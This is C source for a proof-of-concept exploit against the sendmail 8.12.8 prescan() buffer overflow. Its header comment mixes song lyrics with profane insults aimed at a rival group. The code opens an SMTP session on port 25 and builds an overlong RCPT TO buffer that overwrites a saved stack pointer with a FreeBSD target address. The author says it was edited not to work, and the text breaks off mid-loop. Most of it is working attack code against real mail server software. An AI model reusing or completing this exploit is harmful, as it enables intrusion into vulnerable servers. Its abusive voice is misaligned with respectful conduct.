/* * Sendmail 8.12.8 prescan() PROOF OF CONCEPT exploit by bysin * And no i'm not in l33tsecurity * * AND I'M NOT GOBBLES! * * -- * my reflection, dirty mirror * there's no connection to myself * i'm your lover. i'm your zero * i'm the face in your dreams of glass * so save your prayers for when we're really gonna need 'em * throw out your cares and fly * wanna go for a ride? * -- * * This exploit is proof of concept, It has been edited ***NOT*** to work. * This is to prove that the bug in sendmail 8.12.8 and below is vulnerable. * On sucessful POC exploitation the program should crash with the following: * * Program received signal SIGSEGV, Segmentation fault. * 0x5c5c5c5c in ?? () * * Alright so the last sendmail exploit wasnt very good, dont blame me * it wasnt exploitable cause of that god damn second buffer kept * getting in the way. Fuck it. * * This would not work on linux cause the offset for addr was someshit like * 0xbfffb9c9 and sendmail doesnt allow certain characters like 0xff to be * written to the buffer. Bsd on the other hand has an offset of someshit like * 0xbfbfdad1, which is fine. * {"Red Hat 7.3",88,120,0xbfffb9c9} // wont work :( * * And fuck you PHC you no talent bunch of fucking script kiddies. You'll * fucking shit your pants when you see a real hacker in action. No I dont * rip code, but you bitchs cant tell a piece of code from an apple pie, * so shut the fuck up. * */ #include #include #include #include #include #include #include #include #include int maxarch=1; struct arch { char *os; // The OS int pos; // The position of ebp in the stack, with the last byte being 0x00 int apos; // The amount of bytes after pvpbuf where ebp is located unsigned long addr; // The pointer to the addr buffer } archs[] = { {"FreeBSD 4.7-RELEASE",180,28,0xbfbfdad1}, }; ///////////////////////////////////////////////////////// #define BUFSIZE 50096 void header() { printf("Sendmail 8.12.8 prescan() exploit by bysin\n\n"); } void printtargets() { unsigned long i; header(); printf("\t Target\t Addr\t\t OS\n"); printf("\t-------------------------------------------\n"); for (i=0;i \n",argv[0]); printtargets(); return 0; } target=atol(argv[2]); if (target < 0 || target >= maxarch) { printtargets(); return 0; } header(); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) { printf("Unable to create socket\n"); exit(0); } server.sin_family = AF_INET; server.sin_port = htons(25); printf("Resolving address... "); fflush(stdout); if ((ipaddr = inet_addr(argv[1])) == -1) { struct hostent *hostm; if ((hostm=gethostbyname(argv[1])) == NULL) { printf("Unable to resolve address\n"); exit(0); } memcpy((char*)&server.sin_addr, hostm->h_addr, hostm->h_length); } else server.sin_addr.s_addr = ipaddr; memset(&(server.sin_zero), 0, 8); printf("Address found\n"); printf("Connecting... "); fflush(stdout); if (connect(sock,(struct sockaddr *)&server, sizeof(server)) != 0) { printf("Unable to connect\n"); exit(0); } printf("Connected\n"); printf("Sending exploit... \n"); fflush(stdout); readsocket(sock,220); writesocket(sock,"HELO yahoo.com\r\n"); readsocket(sock,250); writesocket(sock,"MAIL FROM: \r\n"); readsocket(sock,250); memset(buf,0,sizeof(buf)); strcpy(buf,"RCPT TO: "); p=buf+strlen(buf); for (i=1,j=0,m=0;i<1242;i++) { if (!(i%256)) { *p++=';'; j++; } else { if (j < 4) *p++='A'; else { if (m == archs[target].pos) pos=p; //if (m > archs[target].pos) *p++='B'; else *p++='A'; m++; } } } if (pos) memcpy(pos,(char*)&archs[target].addr,4); *p++=';'; for (i=0;i